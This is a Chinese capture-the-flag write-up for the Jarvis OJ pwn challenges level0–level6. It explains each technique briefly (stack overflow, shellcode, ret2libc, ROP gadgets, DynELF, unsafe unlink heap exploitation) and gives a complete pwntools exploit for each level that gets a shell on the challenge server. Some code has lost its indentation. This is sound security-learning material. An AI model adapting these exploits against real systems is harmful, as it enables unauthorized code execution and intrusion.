level0
栈溢出,checksec发现开启NX选项,但是给出了一个callsystem函数,直接覆盖返回地址为callsystem函数地址
#coding:utf-8
from pwn import *
pwn = remote("pwn2.jarvisoj.com", 9881)
pwn.recvuntil("Hello, World\n")
callsystem_addr = 0x000000000400596
payload = 'a'*(0x80+8) + p64(callsystem_addr)
pwn.sendline(payload)
pwn.interactive()
level1
栈溢出,checksec发现没有开启NX保护选项,可以在栈上写入shellcode直接执行,用到pwntools的shellcraft模块
#coding:utf-8
from pwn import *
from time import sleep
pwn = remote("pwn2.jarvisoj.com",9877)
recv = pwn.recv().strip()
sleep(0.1)
buf_addr = recv.split(':')[1][:-1]
buf_addr = p32(int(buf_addr,16))
shellcode = asm(shellcraft.i386.linux.sh())
# shellcode + padding + old_ebp + return_addr
payload = shellcode + '\x00'*(0x88+4-len(shellcode)) + buf_addr
pwn.sendline(payload)
pwn.interactive()
level2
栈溢出,程序带有system函数,并且给有hint – /bin/sh字符串
#coding:utf-8
from pwn import *
pwn = remote('pwn2.jarvisoj.com',9878)
binsh_addr = 0x0804A024
system_plt = 0x8048320
pwn.recv()
# buf_input + ebp + return_address + faked_return + "/bin/sh"
payload = 'a'*0x88 + 'a'*4 + p32(system_plt) + p32(0xaaaa) + p32(binsh_addr)
pwn.sendline(payload)
pwn.interactive()
level2_x64
#coding:utf-8
from pwn import *
pwn = remote("pwn2.jarvisoj.com",9882)
pop_rdi_ret = 0x00000000004006b3
binsh_addr = 0x0000000000600A90
system_plt = 0x00000000004004C0
pwn.recv() # input:
payload = 'a'*(0x80+8) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_plt)
pwn.send(payload)
pwn.interactive()
- 参数传递顺序 rdi,rsi,rdx,rcx,r8,r9,栈
level3
栈溢出,给出libc.so文件,里面包含的有system的偏移和 /bin/sh的偏移。泄露地址,找出基地址。这个题也可以用DynELF利用。
#coding:utf-8
from pwn import *
from time import sleep
pwn = remote('pwn2.jarvisoj.com', 9879)
# context.log_level = 'debug'
libc_so = ELF("./libc-2.19.so")
level3 = ELF("./level3")
system_offset = libc_so.symbols['system']
read_offset = libc_so.symbols['read']
binsh_offset = 0x016084C
read_got = level3.got['read']
write_plt = level3.plt['write']
vulner_func = 0x804844B
pwn.recv() # input:
payload = 'a'*(0x88+4) + p32(write_plt) + p32(vulner_func) + p32(1) + p32(read_got) + p32(4)
pwn.sendline(payload)
read_addr = u32(pwn.recv(4))
base_addr = read_addr - read_offset
system_addr = base_addr + system_offset
binsh_addr = base_addr + binsh_offset
sleep(0.1)
pwn.recv() # input:
payload = 'a'*(0x88+4) + p32(system_addr) + p32(0xaaaa) + p32(binsh_addr)
pwn.sendline(payload)
pwn.interactive()
level3_x64
#coding:utf-8
from pwn import *
pwn = remote("pwn2.jarvisoj.com", 9883)
libc = ELF("./libc-2.19.so")
level3_x64 = ELF("./level3_x64")
system_offset = libc.symbols['system']
binsh_offset = 0x00000000017C8C3
write_offset = 0x00000000000EB700
write_got = 0x0000000000600A58
write_plt = 0x0000000004004B0
main = 0x00000000040061A
pop_rdi_ret = 0x00000000004006b3
pop_rsi_ret = 0x00000000004006b1
pwn.recv()
payload = 'a'*(0x80+8) + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(write_got) + p64(0xa) + p64(write_plt) + p64(main)
pwn.send(payload)
write_addr = u64(pwn.recv(8))
baseaddr = write_addr - write_offset
system_addr = baseaddr + system_offset
binsh_addr = baseaddr + binsh_offset
payload = 'a'*(0x80+8) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
pwn.recv()
pwn.send(payload)
pwn.interactive()
- pop rdx; ret; 在程序中没有相应的ROPgadget存在,可以留空,因为他原来的值可以用
level4
栈溢出,没有给出libc文件,典型的ROP,由于libc-database查不到libc版本,所以使用pwntools的DynELF,方便且快速。
#coding:utf-8
from pwn import *
from time import sleep
pwn = remote('pwn2.jarvisoj.com', 9880)
read_plt = 0x8048310
write_plt = 0x08048340
vulner_func = 0x804844B
bss = 0x804A024
pppr = 0x8048509 # objdump -d level4 | grep pop -C3
main = 0x08048470
def leak(address):
payload = 'a'*(0x88+4) + p32(write_plt) + p32(pppr) + p32(1) + p32(address) + p32(4) + p32(main)
pwn.send(payload)
data = pwn.recv(4)
return data
d = DynELF(leak, elf=ELF('./level4'))
system_addr = d.lookup('system','libc')
log.success('leak system address: ' + hex(system_addr))
payload = 'a'*(0x88+4) + p32(read_plt) + p32(pppr) + p32(0) + p32(bss) + p32(8) + p32(system_addr) + p32(vulner_func) + p32(bss)
pwn.send(payload)
sleep(0.1)
pwn.send("/bin/sh\x00")
pwn.interactive()
- leak函数中的payload 我用vulner_func循环一直不能获得shell,换位main函数就可以。???
level5
涉及到两个通用 gadget 的使用. 代码修改自这里, 蒸米大神的一步一步ROP系列有讲到这些gadget,膜拜大佬.
from pwn import *
libc = ELF("./libc-2.23.so")
elf = ELF("./level3_x64")
pwn = remote("pwn2.jarvisoj.com", 9884)
context(os="linux", arch="amd64", log_level="debug")
write_got = elf.got['write']
main = 0x0000000004005e6
write_offset = libc.symbols['write']
write_plt = elf.symbols['write']
read_plt = elf.symbols['read']
OVERFLOW_OFFSET = 0x80+8
SHELLCODE = asm(shellcraft.amd64.linux.sh())
pop_rdi_ret = 0x00000000004006b3
pop_rsi_ret = 0x00000000004006b1
dl_resolve_offset = 0x000000000600A50 # got.plt +0x18
gadget1 = 0x0000000004006AA # pop_rbx_rbp_r12_r13_r14_r15_ret
gadget2 = 0x000000000400690 # mov rdx,r13;mov rsi,r14;mov edi r15;call r12
# rdx = r13
# rsi = r14
# edi = r15
# call r12
payload = 'A'* 136
payload += p64(gadget1)
# write(1, write_got, 8)
payload += p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1)
payload += p64(gadget2)
payload += 'AAAAAAAA'
# write(1, dl_resolve_offset, 8)
payload += p64(0) + p64(1) + p64(write_got) + p64(8) + p64(dl_resolve_offset) + p64(1)
payload += p64(gadget2)
payload += 'AAAAAAAA'
# return 2 vuln
payload += p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(main)
pwn.recvuntil("Input:\n")
pwn.send(payload)
write_addr = u64(pwn.recv(8))
dl_runtime_addr = u64(pwn.recv(8))
print hex(write_addr)
print hex(dl_runtime_addr)
base_addr = write_addr - write_offset
mmap_addr = libc.symbols['mmap'] + base_addr
print hex(mmap_addr)
gadget3 = dl_runtime_addr + 53
"""
0x7ffff7def235 <_dl_runtime_resolve+53>: mov r11,rax
0x7ffff7def238 <_dl_runtime_resolve+56>: mov r9,QWORD PTR [rsp+0x30]
0x7ffff7def23d <_dl_runtime_resolve+61>: mov r8,QWORD PTR [rsp+0x28]
0x7ffff7def242 <_dl_runtime_resolve+66>: movrdi,QWORD PTR [rsp+0x20]
0x7ffff7def247 <_dl_runtime_resolve+71>: movrsi,QWORD PTR [rsp+0x18]
0x7ffff7def24c <_dl_runtime_resolve+76>: movrdx,QWORD PTR [rsp+0x10]
0x7ffff7def251 <_dl_runtime_resolve+81>: movrcx,QWORD PTR [rsp+0x8]
0x7ffff7def256 <_dl_runtime_resolve+86>: movrax,QWORD PTR [rsp]
0x7ffff7def25a <_dl_runtime_resolve+90>: add rsp,0x48
0x7ffff7def25e <_dl_runtime_resolve+94>: jmp r11
"""
shellcode_addr = 0xbeef0000
pop_rax_ret = 0x000000000001b290 + base_addr
print(hex(pop_rax_ret))
# void* mmap(void* start,size_t length,int prot,int flags,int fd,off_t offset);
payload = "a"*OVERFLOW_OFFSET
payload += p64(pop_rax_ret)
# payload += p64(1)
payload += p64(mmap_addr)
payload += p64(gadget3)
payload += p64(0)
payload += p64(34) # rcx
payload += p64(0x7) # rdx
payload += p64(0x100) # rsi
payload += p64(shellcode_addr) # rdi
payload += p64(0) # r8
payload += p64(0) # r9
payload += 'a'*16
# read(0, shellcode_addr, 0x100)
payload += p64(pop_rax_ret)
payload += p64(read_plt)
payload += p64(gadget3)
payload += p64(0)
payload += p64(0) # rcx
payload += p64(0x100) # rdx
payload += p64(shellcode_addr) # rsi
payload += p64(0) # rdi
payload += p64(0) # r8
payload += p64(0) # r9
payload += 'a'*16
payload += p64(shellcode_addr)
pwn.recvuntil("Input:\n")
pwn.send(payload)
pwn.send(SHELLCODE)
pwn.interactive()
level6
常规的double free, 也就是unsafe unlink的利用. 我比较迷的是信息泄露那个点, 有文章说 “freelist 是存储在libc的bss段”, 没有搞清楚是怎么回事, 就只在本地复现了一下, 于是我就多泄露了一次数据, 先把free_got改成puts, 找到system的地址, 再改成system的地址. 有空研究一下malloc和free的细节
# coding:utf-8
from pwn import *
def new_note(length, content):
p.recvuntil("Your choice: ")
p.sendline(str(2))
p.recvuntil("Length of new note: ")
p.sendline(str(length))
p.recvuntil("Enter your note: ")
p.send(content)
def delete_note(note):
p.recvuntil("Your choice: ")
p.sendline(str(4))
p.recvuntil("Note number: ")
p.sendline(str(note))
def edit_note(note, length, content):
p.recvuntil("Your choice: ")
p.sendline(str(3))
p.recvuntil("Note number: ")
p.sendline(str(note))
p.recvuntil("Length of note: ")
p.sendline(str(length))
p.recvuntil("Enter your note: ")
p.send(content)
def list_note():
p.recvuntil("Your choice: ")
p.sendline(str(1))
def main():
new_note(16, "a"*16)
new_note(16, "b"*16)
new_note(16, "c"*16)
new_note(25, "cat flag\x00"+"d"*16)
delete_note(0)
delete_note(2)
new_note(4, "a"*4)
new_note(4 ,"a"*4)
list_note()
leak_data = p.recvuntil("aaaaaaaa")
heap_addr = u32(leak_data[:-8][-4:])
heap_a_ptr = heap_addr - 0x88*2 - 0xc00
log.info("heap first ptr is %s ",hex(heap_a_ptr))
leak_data = p.recvuntil("cccccccc")
libc_addr = u32(leak_data[:-8][-4:])
# system_addr = libc_addr - 1531504
# log.info("system address is %s", hex(system_addr))
delete_note(1)
payload = p32(0) + p32(0x80) # fake_chunk1 head
payload += p32(heap_a_ptr-0xc) + p32(heap_a_ptr-0x8) # fake_chunk1 fd and bk
payload += "\x00"*(0x80-0x10) # fake_chunk body
payload += p32(0x80) + p32(0x88) # fake_chunk2 prev_size and size
payload += "/bin/sh\x00" + "x00"*(0x20)
edit_note(0, len(payload), payload)
delete_note(1) # double free
free_got = 0x0804a29c
read_got = 0x0804a294
puts_plt = 0x08048480
payload2 = p32(0x00000002) + p32(0x00000001) + p32(0x4) + p32(free_got) #
payload2 += p32(0) + p32(0) + p32(read_got)
payload2 += p32(1) + p32(4) + p32(heap_addr-0x88)
payload2 += p32(1) + p32(4) + p32(heap_addr+0x80+0x10)
payload2 += "\x00"*(0xf0-len(payload2))
edit_note(0, 0xf0, payload2)
edit_note(0, 0x4, p32(puts_plt))
delete_note(1)
#
libc = ELF("./libc-2.19.so")
read_addr = u32(p.recv(4))
log.info("read address is %s ", hex(read_addr))
system_addr = read_addr - libc.symbols['read'] + libc.symbols['system']
log.info("system address is %s ", hex(system_addr))
edit_note(0, 4, p32(system_addr))
# gdb.attach(p, "b* 0x080484F5")
delete_note(3)
p.interactive()
if __name__ == '__main__':
debug = 0
if debug:
context(os="linux", arch="i386", log_level="debug")
context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']
env = {"LD_PRELOAD":"./libc-2.19.so"}
p = process('./freenote_x86')
else:
p = remote("pwn2.jarvisoj.com", 9885)
main()
level6_x64
利用方法和32位一毛一样
# coding:utf-8
from pwn import *
def list_note():
p.recvuntil("Your choice: ")
p.sendline(str(1))
def new_note(payload):
p.recvuntil("Your choice: ")
p.sendline(str(2))
p.recvuntil("Length of new note: ")
p.sendline(str(len(payload)))
p.recvuntil("Enter your note: ")
p.send(payload)
def edit_note(note, payload):
p.recvuntil("Your choice: ")
p.sendline(str(3))
p.recvuntil("Note number: ")
p.sendline(str(note))
p.recvuntil("Length of note: ")
p.sendline(str(len(payload)))
p.recvuntil("Enter your note: ")
p.send(payload)
def delete_note(note):
p.recvuntil("Your choice: ")
p.sendline(str(4))
p.recvuntil("Note number: ")
p.sendline(str(note))
def main():
new_note("a"*32)
new_note('b'*32)
new_note('c'*32)
new_note("/bin/sh\x00"+'d'*32)
delete_note(0)
delete_note(2)
new_note('a'*8)
new_note('c'*8)
list_note()
leak_data1 = p.recvuntil('\n1. ')[:-4].split("a"*8)[1].ljust(8, '\x00')
heap_addr = u64(leak_data1)
leak_data2 = p.recvuntil('\n3. ')[:-4].split("c"*8)[1].ljust(8, '\x00')
libc_addr = u64(leak_data2)
log.info("leak_heap address is %s ", hex(heap_addr))
log.info("leak_libc address is %s ", hex(libc_addr))
heap_a_ptr = heap_addr - 6416
heap_b_ptr = heap_addr - 0x90
delete_note(1)
payload = p64(0) + p64(0x81) # fake-chunk1 head
payload += p64(heap_a_ptr-0x18) + p64(heap_a_ptr-0x10) # fake fd and bk
payload += "\x00"*(0x80-len(payload))
payload += p64(0x80) + p64(0x90)
payload += "/bin/sh\x00" + "\x00"*20
edit_note(0, payload)
delete_note(1)
#
free_got = 0x0000000000602018
puts_plt = 0x00000000004006c0
read_got = 0x0000000000602040
# leak read_got
payload2 = p64(2) + p64(1)
payload2 += p64(8) + p64(free_got)
payload2 += p64(0) + p64(0) + p64(read_got)
payload2 += p64(1) + p64(8) + p64(heap_b_ptr+0x90)
payload2 += p64(1) + p64(8) + p64(heap_b_ptr+0x90+0x90+0x10)
payload2 += "\x00"*(0xac-len(payload2)) # avoid call realloc
edit_note(0, payload2)
edit_note(0, p64(puts_plt))
delete_note(1)
leak_data3 = p.recvuntil("\nDone.\n")[:-7].ljust(8, "\x00")
read_addr = u64(leak_data3)
log.info("read address is %s ", hex(read_addr))
libc = ELF("./libc-2.19.so")
system_addr = read_addr - libc.symbols['read'] + libc.symbols['system']
log.info("system address is %s ", hex(system_addr))
edit_note(0, p64(system_addr))
delete_note(3)
# gdb.attach(p, "b* 0x0000000004010AD")
p.interactive()
if __name__ == '__main__':
debug = 0
if debug:
context(os="linux", arch="amd64", log_level="debug")
context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']
env = {"LD_PRELOAD":"libc-2.19.so"}
p = process("./freenote_x64")
else:
p = remote("pwn2.jarvisoj.com", 9886)
main()
题目文件和脚本已上传github